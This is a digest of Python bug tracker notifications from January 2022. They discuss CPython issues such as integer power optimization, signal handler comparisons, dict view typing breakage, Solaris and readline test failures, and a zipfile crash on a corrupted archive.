<1642400633.38.0.985764898035.issue40280@roundup.psfhosted.org> Christian Heimes added the comment: New changeset 7f4b69b9076bdbcea31f6ad16eb125ee99cf0175 by Christian Heimes in branch 'main': bpo-40280: Change subprocess imports for cleaner error on wasm32 (GH-30620) https://github.com/python/cpython/commit/7f4b69b9076bdbcea31f6ad16eb125ee99cf0175 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 01:46:43 2022 From: report at bugs.python.org (theeshallnotknowethme) Date: Mon, 17 Jan 2022 06:46:43 +0000 Subject: [issue46407] optimizing `1 << n` or `2 ** n` and modulo-only operations Message-ID: <1642402003.92.0.19902831898.issue46407@roundup.psfhosted.org> New submission from theeshallnotknowethme : Optimize calculating powers of 2 for integers. Does not include optimizing modular exponentiation because benchmarking shows current version of modular exponentiation is faster. Also optimizes any call with the structure `l_divmod(a, b, NULL, &mod)`. > python_modified.exe -m timeit -s "x = 2" "x**10000000" 10000 loops, best of 5: 33.1 usec per loop > python_current.exe -m timeit -s "x = 2" "x**10000000" 10 loops, best of 5: 35.2 msec per loop ---------- components: Interpreter Core messages: 410744 nosy: February291948 priority: normal severity: normal status: open title: optimizing `1 << n` or `2 ** n` and modulo-only operations versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 01:55:06 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Mon, 17 Jan 2022 06:55:06 +0000 Subject: [issue46404] 3.11a4: a small attrs regression In-Reply-To: <1642373286.75.0.870897334257.issue46404@roundup.psfhosted.org> Message-ID: <1642402506.47.0.674454119387.issue46404@roundup.psfhosted.org> Dennis Sweeney added the comment: bisected to here: 631f9938b1604d4f893417ec339b9e0fa9196fb1 is the first new commit commit 631f9938b1604d4f893417ec339b9e0fa9196fb1 Author: Eric Snow Date: Mon Jun 7 16:52:00 2021 -0600 bpo-43693: Add the MAKE_CELL opcode and interleave fast locals offsets. (gh-26396) This moves logic out of the frame initialization code and into the compiler and eval loop. Doing so simplifies the runtime code and allows us to optimize it better. https://bugs.python.org/issue43693 ---------- nosy: +Dennis Sweeney, eric.snow _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 02:09:08 2022 From: report at bugs.python.org (theeshallnotknowethme) Date: Mon, 17 Jan 2022 07:09:08 +0000 Subject: [issue46407] optimizing `1 << n` or `2 ** n` and modulo-only operations In-Reply-To: <1642402003.92.0.19902831898.issue46407@roundup.psfhosted.org> Message-ID: <1642403348.58.0.889163537849.issue46407@roundup.psfhosted.org> theeshallnotknowethme added the comment: Note that `n` should not be over PY_SSIZE_T_MAX, else an error should occur. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 02:21:54 2022 From: report at bugs.python.org (theeshallnotknowethme) Date: Mon, 17 Jan 2022 07:21:54 +0000 Subject: [issue46407] optimizing `1 << n` or `2 ** n` and modulo-only operations In-Reply-To: <1642402003.92.0.19902831898.issue46407@roundup.psfhosted.org> Message-ID: <1642404114.63.0.0050393651308.issue46407@roundup.psfhosted.org> Change by theeshallnotknowethme : ---------- keywords: +patch pull_requests: +28831 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30628 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 02:22:17 2022 From: report at bugs.python.org (theeshallnotknowethme) Date: Mon, 17 Jan 2022 07:22:17 +0000 Subject: [issue46407] optimizing `1 << n` or `2 ** n` and modulo-only operations In-Reply-To: <1642402003.92.0.19902831898.issue46407@roundup.psfhosted.org> Message-ID: <1642404137.67.0.980548278613.issue46407@roundup.psfhosted.org> Change by theeshallnotknowethme : ---------- type: -> performance _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 03:33:44 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 17 Jan 2022 08:33:44 +0000 Subject: [issue46407] optimizing `1 << n` or `2 ** n` and modulo-only operations In-Reply-To: <1642402003.92.0.19902831898.issue46407@roundup.psfhosted.org> Message-ID: <1642408424.1.0.273417969486.issue46407@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- nosy: +mark.dickinson, rhettinger, stutzbach, tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 03:56:21 2022 From: report at bugs.python.org (Kumar Aditya) Date: Mon, 17 Jan 2022 08:56:21 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> Message-ID: <1642409781.96.0.967979867296.issue46399@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: +kumaraditya303 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 04:01:28 2022 From: report at bugs.python.org (Christian Heimes) Date: Mon, 17 Jan 2022 09:01:28 +0000 Subject: [issue46408] signal module wrongly relies on small int singletons Message-ID: <1642410088.81.0.615313504178.issue46408@roundup.psfhosted.org> New submission from Christian Heimes : The signal.signal() function directly compares PyObject *handler with PyObject *modstate->ignore_handler. This works on most platforms because they are both small ints and Python uses singletons for cached small ints. The assumption breaks when Python is built without small int cache or a platform has SIG_IGN / SIG_DFL that is outside the range of small int cache. The wasm32-emscripten platform uses "((void (*)(int))-2)" (4294967294) for SIG_IGN. The wrong comparison breaks several tests on WASM32. The function should use PyObject_RichCompareBool(handler, modstate->ignore_handler, Py_EQ) instead. if (handler == modstate->ignore_handler) { func = SIG_IGN; } else if (handler == modstate->default_handler) { func = SIG_DFL; } https://github.com/python/cpython/blob/7f4b69b9076bdbcea31f6ad16eb125ee99cf0175/Modules/signalmodule.c#L530-L534 ---------- components: Extension Modules messages: 410747 nosy: christian.heimes priority: normal severity: normal status: open title: signal module wrongly relies on small int singletons type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 04:02:13 2022 From: report at bugs.python.org (Christian Heimes) Date: Mon, 17 Jan 2022 09:02:13 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1642410133.03.0.577480135581.issue40280@roundup.psfhosted.org> Change by Christian Heimes : ---------- dependencies: +signal module wrongly relies on small int singletons _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 04:10:09 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 17 Jan 2022 09:10:09 +0000 Subject: [issue46408] signal module wrongly relies on small int singletons In-Reply-To: <1642410088.81.0.615313504178.issue46408@roundup.psfhosted.org> Message-ID: <1642410609.86.0.840915665958.issue46408@roundup.psfhosted.org> Serhiy Storchaka added the comment: See msg234768 and issue23325. I propose to close this as a duplicate of issue23325. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 04:11:56 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Mon, 17 Jan 2022 09:11:56 +0000 Subject: [issue46407] optimizing `1 << n` or `2 ** n` and modulo-only operations In-Reply-To: <1642402003.92.0.19902831898.issue46407@roundup.psfhosted.org> Message-ID: <1642410716.33.0.714821406988.issue46407@roundup.psfhosted.org> Dennis Sweeney added the comment: Another option to consider would be a table lookup of a pre-computed table of [1 << i for i in range(64)]. ---------- nosy: +Dennis Sweeney _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 04:13:13 2022 From: report at bugs.python.org (Christian Heimes) Date: Mon, 17 Jan 2022 09:13:13 +0000 Subject: [issue46408] signal module wrongly relies on small int singletons In-Reply-To: <1642410088.81.0.615313504178.issue46408@roundup.psfhosted.org> Message-ID: <1642410793.91.0.347286940026.issue46408@roundup.psfhosted.org> Change by Christian Heimes : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Turn SIG_DFL and SIG_IGN into functions _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 04:13:40 2022 From: report at bugs.python.org (Christian Heimes) Date: Mon, 17 Jan 2022 09:13:40 +0000 Subject: [issue46408] signal module wrongly relies on small int singletons In-Reply-To: <1642410088.81.0.615313504178.issue46408@roundup.psfhosted.org> Message-ID: <1642410820.11.0.894349697044.issue46408@roundup.psfhosted.org> Christian Heimes added the comment: Yes, it's a duplicate. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 04:13:52 2022 From: report at bugs.python.org (Christian Heimes) Date: Mon, 17 Jan 2022 09:13:52 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1642410832.2.0.0953449675598.issue40280@roundup.psfhosted.org> Change by Christian Heimes : ---------- dependencies: +Turn SIG_DFL and SIG_IGN into functions _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 04:14:25 2022 From: report at bugs.python.org (Kumar Aditya) Date: Mon, 17 Jan 2022 09:14:25 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> Message-ID: <1642410865.92.0.382979074459.issue46399@roundup.psfhosted.org> Change by Kumar Aditya : ---------- keywords: +patch pull_requests: +28832 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30629 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 04:31:36 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 17 Jan 2022 09:31:36 +0000 Subject: [issue46393] Generate frozenset constants when explicitly appropriate In-Reply-To: <1642302685.54.0.683212024451.issue46393@roundup.psfhosted.org> Message-ID: <1642411896.1.0.788129949802.issue46393@roundup.psfhosted.org> Serhiy Storchaka added the comment: As Steven have noted the compiler-time optimization is not applicable here because name frozenset is resolved at run-time. In these cases where a set of constants can be replaced with a frozenset of constants (in "x in {1,2,3}" and in "for x in {1,2,3}") the compiler does it. And I don't think there is an issue which is worth changing the language. Creating a frozenset of constants is pretty rare, and it is even more rare in tight loops. The most common cases (which are pretty rare anyway) are already covered. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 04:41:35 2022 From: report at bugs.python.org (Kumar Aditya) Date: Mon, 17 Jan 2022 09:41:35 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> Message-ID: <1642412495.87.0.96759832732.issue46399@roundup.psfhosted.org> Kumar Aditya added the comment: I would like to work on this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 04:51:15 2022 From: report at bugs.python.org (Kumar Aditya) Date: Mon, 17 Jan 2022 09:51:15 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> Message-ID: <1642413075.22.0.102887512879.issue46399@roundup.psfhosted.org> Change by Kumar Aditya : ---------- pull_requests: +28833 pull_request: https://github.com/python/cpython/pull/30630 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 05:13:18 2022 From: report at bugs.python.org (Alex Waygood) Date: Mon, 17 Jan 2022 10:13:18 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> Message-ID: <1642414398.96.0.120456974831.issue46399@roundup.psfhosted.org> Alex Waygood added the comment: Thanks, Kumar ? I appreciate it! > (Though since this can only work for 3.11+, maybe typeshed could also be adjusted? For that you?d have to file a bug there.) Yes ? it's unfortunate, but I have some ideas for hacky workarounds we can implement in typeshed for 3.10 :) and, as you say ? that's a problem to be dealt with on the typeshed issue tracker rather than here. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 05:14:06 2022 From: report at bugs.python.org (Alex Waygood) Date: Mon, 17 Jan 2022 10:14:06 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> Message-ID: <1642414446.21.0.353486959771.issue46399@roundup.psfhosted.org> Alex Waygood added the comment: Do these changes warrant an entry in "What's New in 3.11"? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 05:39:54 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 10:39:54 +0000 Subject: [issue22039] PyObject_SetAttr doesn't mention value = NULL In-Reply-To: <1406051790.64.0.0676928180206.issue22039@psf.upfronthosting.co.za> Message-ID: <1642415994.02.0.183805438259.issue22039@roundup.psfhosted.org> Irit Katriel added the comment: I read the python-dev thread now and I see it was decided that it?s not worth removing it. In recent versions of the doc it is mentioned that the function is in the stable ABI. Should we clarify exactly what is meant by ?deprecated?? ---------- status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 05:40:39 2022 From: report at bugs.python.org (Jakub Kulik) Date: Mon, 17 Jan 2022 10:40:39 +0000 Subject: [issue44133] Some C-API symbols (e.g. Py_FrozenMain) are not always exported on Unix In-Reply-To: <1621011524.07.0.0957325647121.issue44133@roundup.psfhosted.org> Message-ID: <1642416039.44.0.60177797896.issue44133@roundup.psfhosted.org> Jakub Kulik added the comment: >> On Solaris (and most likely several other platforms), `PyThread_get_thread_native_id` is also not available. > Oh, I added an explicit test for that in my PR 30556. Now it started failing on a different place: ====================================================================== FAIL: test_export_symbols (test.test_capi.CAPITest) (name='PyThread_get_thread_native_id') ---------------------------------------------------------------------- Traceback (most recent call last): File "/..../cpython-main/Lib/test/test_capi.py", line 662, in test_export_symbols self.assertTrue(hasattr(ctypes.pythonapi, name)) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ AssertionError: False is not true Looking at the test, is the expectation that all OSes must implement it since 3.11? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 05:42:37 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 10:42:37 +0000 Subject: [issue34135] The results of time.tzname print broken. In-Reply-To: <1531803123.68.0.56676864532.issue34135@psf.upfronthosting.co.za> Message-ID: <1642416157.98.0.264085506034.issue34135@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 06:03:45 2022 From: report at bugs.python.org (Mark Dickinson) Date: Mon, 17 Jan 2022 11:03:45 +0000 Subject: [issue46393] Generate frozenset constants when explicitly appropriate In-Reply-To: <1642302685.54.0.683212024451.issue46393@roundup.psfhosted.org> Message-ID: <1642417425.35.0.28511036281.issue46393@roundup.psfhosted.org> Change by Mark Dickinson : ---------- nosy: -mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 06:22:42 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 11:22:42 +0000 Subject: [issue44133] Some C-API symbols (e.g. Py_FrozenMain) are not always exported on Unix In-Reply-To: <1621011524.07.0.0957325647121.issue44133@roundup.psfhosted.org> Message-ID: <1642418562.23.0.514659711521.issue44133@roundup.psfhosted.org> STINNER Victor added the comment: Oh no, I expected that the new way to build Python would also export PyThread_get_thread_native_id() on Solaris. I reopen the issue. Can you please specify your configure command? Can you check without Python if the symbol is exported or not? If you use --enable-shared, check in libpython, otherwise check in the "python" binary. ---------- resolution: fixed -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 06:24:16 2022 From: report at bugs.python.org (Jakub Kulik) Date: Mon, 17 Jan 2022 11:24:16 +0000 Subject: [issue40066] Enum: modify __repr__, __str__; update docs In-Reply-To: <1585165738.23.0.618463548627.issue40066@roundup.psfhosted.org> Message-ID: <1642418656.85.0.0885483880647.issue40066@roundup.psfhosted.org> Jakub Kulik added the comment: This also broke our Solaris build with the following error: ====================================================================== FAIL: testGetaddrinfo (test.test_socket.GeneralModuleTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/..../cpython-main/Lib/test/test_socket.py", line 1523, in testGetaddrinfo self.assertEqual(repr(type), '') ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ AssertionError: '' != '' - ? ^ + ? ^ (test.test_socket.GeneralModuleTests fails with the same error). The issue is almost certainly that on Solaris, SOCK_STREAM is defined as 2 rather than 1; the following simple program confirms that: #include #include void main() { printf("%d\n", SOCK_STREAM); } I'm just not sure whether to fix this with `assertRegex` or a special branch for Solaris (though I am not sure whether everybody else uses 1 or it's more varied). ---------- nosy: +kulikjak _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 06:25:14 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 11:25:14 +0000 Subject: [issue24194] Make tokenize recognize Other_ID_Start and Other_ID_Continue chars In-Reply-To: <1431608427.75.0.966529056278.issue24194@psf.upfronthosting.co.za> Message-ID: <1642418714.42.0.29502372962.issue24194@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: -vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 06:28:43 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 11:28:43 +0000 Subject: [issue13886] readline-related test_builtin failure In-Reply-To: <1327659819.71.0.475160045664.issue13886@psf.upfronthosting.co.za> Message-ID: <1642418923.99.0.214066868216.issue13886@roundup.psfhosted.org> STINNER Victor added the comment: On Fedora 35, I still reproduce the initial issue on the main branch of Python: $ ./python -E -m test -v test_readline test_builtin (...) ====================================================================== FAIL: test_input_tty_non_ascii (test.test_builtin.PtyTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/vstinner/python/main/Lib/test/test_builtin.py", line 2095, in test_input_tty_non_ascii self.check_input_tty("prompt?", b"quux\xe9", "utf-8") ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/vstinner/python/main/Lib/test/test_builtin.py", line 2086, in check_input_tty self.assertEqual(input_result, expected) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ AssertionError: 'quux' != 'quux\udce9' - quux + quux\udce9 ? + ====================================================================== FAIL: test_input_tty_non_ascii_unicode_errors (test.test_builtin.PtyTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/vstinner/python/main/Lib/test/test_builtin.py", line 2099, in test_input_tty_non_ascii_unicode_errors self.check_input_tty("prompt?", b"quux\xe9", "ascii") ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/vstinner/python/main/Lib/test/test_builtin.py", line 2086, in check_input_tty self.assertEqual(input_result, expected) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ AssertionError: 'quux' != 'quux\udce9' - quux + quux\udce9 ? + (...) Fedora 35 uses readline 8.1: $ ldd $(./python -c 'import readline; print(readline.__file__)') ... libreadline.so.8 => /lib64/libreadline.so.8 (0x00007fd00e553000) ... $ rpm -qf /lib64/libreadline.so.8 readline-8.1-3.fc35.x86_64 $ make pythoninfo|grep readline readline._READLINE_LIBRARY_VERSION: 8.1 readline._READLINE_RUNTIME_VERSION: 0x801 readline._READLINE_VERSION: 0x801 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 06:31:49 2022 From: report at bugs.python.org (jvoisin) Date: Mon, 17 Jan 2022 11:31:49 +0000 Subject: [issue39064] ValueError in zipfile.ZipFile In-Reply-To: <1576501122.43.0.655067405413.issue39064@roundup.psfhosted.org> Message-ID: <1642419109.84.0.289571501821.issue39064@roundup.psfhosted.org> jvoisin added the comment: Yes, I can reproduce it: ``` $ python3 --version Python 3.9.9 $ python3.9 ziprepo.py ./crash-4da08e9ababa495ac51ecad588fd61081a66b5bb6e7a0e791f44907fa274ec62 Traceback (most recent call last): File "/home/jvoisin/Downloads/ziprepo.py", line 4, in zipfile.ZipFile(sys.argv[1]) File "/usr/lib/python3.9/zipfile.py", line 1257, in __init__ self._RealGetContents() File "/usr/lib/python3.9/zipfile.py", line 1342, in _RealGetContents fp.seek(self.start_dir, 0) ValueError: cannot fit 'int' into an offset-sized integer $ ``` > It's unlikely that anyone will download a binary from bpo and open it. Can you help us reproduce the issue without that? The *binary* is a corrupted zip file to open with `zipfile.ZipFile()`, it can't be executed on its own. ---------- status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 06:33:10 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 11:33:10 +0000 Subject: [issue13886] readline-related test_builtin failure In-Reply-To: <1327659819.71.0.475160045664.issue13886@psf.upfronthosting.co.za> Message-ID: <1642419190.99.0.129955571682.issue13886@roundup.psfhosted.org> STINNER Victor added the comment: Oh, the test_builtin.test_input_tty_non_ascii() fails just if test_readline is loaded previously: $ ./python -E -m test -m test.test_builtin.PtyTests.test_input_tty_non_ascii -v test_readline test_builtin == CPython 3.11.0a4+ (heads/main:7f4b69b9076, Jan 17 2022, 12:28:15) [GCC 11.2.1 20211203 (Red Hat 11.2.1-7)] == Linux-5.15.12-200.fc35.x86_64-x86_64-with-glibc2.34 little-endian == cwd: /home/vstinner/python/main/build/test_python_49429? == CPU count: 8 == encodings: locale=UTF-8, FS=utf-8 0:00:00 load avg: 0.48 Run tests sequentially 0:00:00 load avg: 0.48 [1/2] test_readline ---------------------------------------------------------------------- Ran 0 tests in 0.000s OK 0:00:00 load avg: 0.48 [2/2] test_builtin -- test_readline ran no tests test_input_tty_non_ascii (test.test_builtin.PtyTests) ... FAIL ====================================================================== FAIL: test_input_tty_non_ascii (test.test_builtin.PtyTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/vstinner/python/main/Lib/test/test_builtin.py", line 2095, in test_input_tty_non_ascii self.check_input_tty("prompt?", b"quux\xe9", "utf-8") ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/vstinner/python/main/Lib/test/test_builtin.py", line 2086, in check_input_tty self.assertEqual(input_result, expected) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ AssertionError: 'quux' != 'quux\udce9' - quux + quux\udce9 ? + ---------------------------------------------------------------------- Ran 1 test in 0.013s FAILED (failures=1) test test_builtin failed test_builtin failed (1 failure) == Tests result: FAILURE == 1 test failed: test_builtin 1 test run no tests: test_readline Total duration: 559 ms Tests result: FAILURE In just, just importing readline is enough to make the test fails: $ git diff Lib/test/test_builtin.py diff --git a/Lib/test/test_builtin.py b/Lib/test/test_builtin.py index 6dc4fa55502..20d3d33d9fb 100644 --- a/Lib/test/test_builtin.py +++ b/Lib/test/test_builtin.py @@ -1,3 +1,5 @@ +import readline + # Python test set -- built-in functions import ast $ ./python -E -m test -m test.test_builtin.PtyTests.test_input_tty_non_ascii -v test_builtin (...) ====================================================================== FAIL: test_input_tty_non_ascii (test.test_builtin.PtyTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/vstinner/python/main/Lib/test/test_builtin.py", line 2097, in test_input_tty_non_ascii self.check_input_tty("prompt?", b"quux\xe9", "utf-8") ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/vstinner/python/main/Lib/test/test_builtin.py", line 2088, in check_input_tty self.assertEqual(input_result, expected) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ AssertionError: 'quux' != 'quux\udce9' - quux + quux\udce9 ? + (...) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 06:43:00 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 11:43:00 +0000 Subject: [issue39064] ValueError in zipfile.ZipFile In-Reply-To: <1576501122.43.0.655067405413.issue39064@roundup.psfhosted.org> Message-ID: <1642419780.19.0.477388009363.issue39064@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.9 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 06:47:39 2022 From: report at bugs.python.org (Jakub Kulik) Date: Mon, 17 Jan 2022 11:47:39 +0000 Subject: [issue44133] Some C-API symbols (e.g. Py_FrozenMain) are not always exported on Unix In-Reply-To: <1621011524.07.0.0957325647121.issue44133@roundup.psfhosted.org> Message-ID: <1642420059.83.0.499082152795.issue44133@roundup.psfhosted.org> Jakub Kulik added the comment: Ah, sorry, I could have described the issue better. It's not a problem with exporting, PyThread_get_thread_native_id() isn't available on Solaris (and possibly other platforms) at all. https://github.com/python/cpython/blob/main/Include/pythread.h#L28 https://github.com/python/cpython/blob/main/Python/thread_pthread.h#L329 The reason I didn't implement it yet is that Solaris doesn't expose anything like native thread id. We do have functions like `_lwp_self()` or `pthread_self()` or `thr_self()` but neither of them returns id where "value may be used to uniquely identify this particular thread system-wide". (I presume that means that no other thread of no other process running on a given system would return the same number - all these functions return single digit numbers so there is no way they are unique system wide). If necessary, I guess that such a number can be created by masking pid and thread id together, but then there's a question of how it is supposed to be used (because OS would not understand it). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 06:47:53 2022 From: report at bugs.python.org (Mark Shannon) Date: Mon, 17 Jan 2022 11:47:53 +0000 Subject: [issue46389] 3.11: unused generator comprehensions cause f_lineno==None In-Reply-To: <1642249582.51.0.604668369809.issue46389@roundup.psfhosted.org> Message-ID: <1642420073.88.0.696508662464.issue46389@roundup.psfhosted.org> Mark Shannon added the comment: This has the same root cause as https://bugs.python.org/issue46374: closing the unused generator expression exposes the generator's frame before it has been initialized. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 06:54:35 2022 From: report at bugs.python.org (Mark Shannon) Date: Mon, 17 Jan 2022 11:54:35 +0000 Subject: [issue46409] Add a new bytecode instruction to create generators Message-ID: <1642420475.96.0.0360336928035.issue46409@roundup.psfhosted.org> New submission from Mark Shannon : (including coroutines, and async generators) We now make the start and resumption of Python functions explicit in the bytecode which allows us to initialize frames in the bytecode without exposing incomplete frames tracing, the GC etc. However, we still expose incomplete frames when creating generators. By making the creation of generators explicit in the bytecode we first create the frame, then the generator and all is well. See https://bugs.python.org/issue46374 and https://bugs.python.org/issue46389 for examples. ---------- assignee: Mark.Shannon components: Interpreter Core messages: 410764 nosy: Mark.Shannon priority: normal severity: normal status: open title: Add a new bytecode instruction to create generators type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 07:11:25 2022 From: report at bugs.python.org (theeshallnotknowethme) Date: Mon, 17 Jan 2022 12:11:25 +0000 Subject: [issue46407] optimizing `1 << n` or `2 ** n` and modulo-only operations In-Reply-To: <1642402003.92.0.19902831898.issue46407@roundup.psfhosted.org> Message-ID: <1642421485.11.0.699689659595.issue46407@roundup.psfhosted.org> theeshallnotknowethme added the comment: > Another option to consider would be a table lookup of a pre-computed table of [1 << i for i in range(64)]. Does it have a significantly better performance compared to not having a table lookup? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 07:12:11 2022 From: report at bugs.python.org (Christian Heimes) Date: Mon, 17 Jan 2022 12:12:11 +0000 Subject: [issue46390] Multiple test failures on Alpine 3.15 / musl-1.2.2-r7 In-Reply-To: <1642251384.22.0.111419838078.issue46390@roundup.psfhosted.org> Message-ID: <1642421531.56.0.0480285824629.issue46390@roundup.psfhosted.org> Change by Christian Heimes : Added file: https://bugs.python.org/file50566/alpine315-tests.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 07:12:48 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 12:12:48 +0000 Subject: [issue13886] readline-related test_builtin failure In-Reply-To: <1327659819.71.0.475160045664.issue13886@psf.upfronthosting.co.za> Message-ID: <1642421568.85.0.855865202088.issue13886@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28834 pull_request: https://github.com/python/cpython/pull/30631 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 07:14:40 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 12:14:40 +0000 Subject: [issue13886] readline-related test_builtin failure In-Reply-To: <1327659819.71.0.475160045664.issue13886@psf.upfronthosting.co.za> Message-ID: <1642421680.09.0.179986621989.issue13886@roundup.psfhosted.org> STINNER Victor added the comment: Since nobody managed to fix this issue in 10 years and the test still fails if the readline module is loaded, I wrote GH-30631 to skip the test if the readline module is loaded. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 07:15:01 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 12:15:01 +0000 Subject: [issue13886] test_builtin.PtyTests fail on non-ASCII characters if the readline module is loaded In-Reply-To: <1327659819.71.0.475160045664.issue13886@psf.upfronthosting.co.za> Message-ID: <1642421701.71.0.708203395228.issue13886@roundup.psfhosted.org> Change by STINNER Victor : ---------- title: readline-related test_builtin failure -> test_builtin.PtyTests fail on non-ASCII characters if the readline module is loaded _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 07:23:48 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 12:23:48 +0000 Subject: [issue13886] test_builtin.PtyTests fail on non-ASCII characters if the readline module is loaded In-Reply-To: 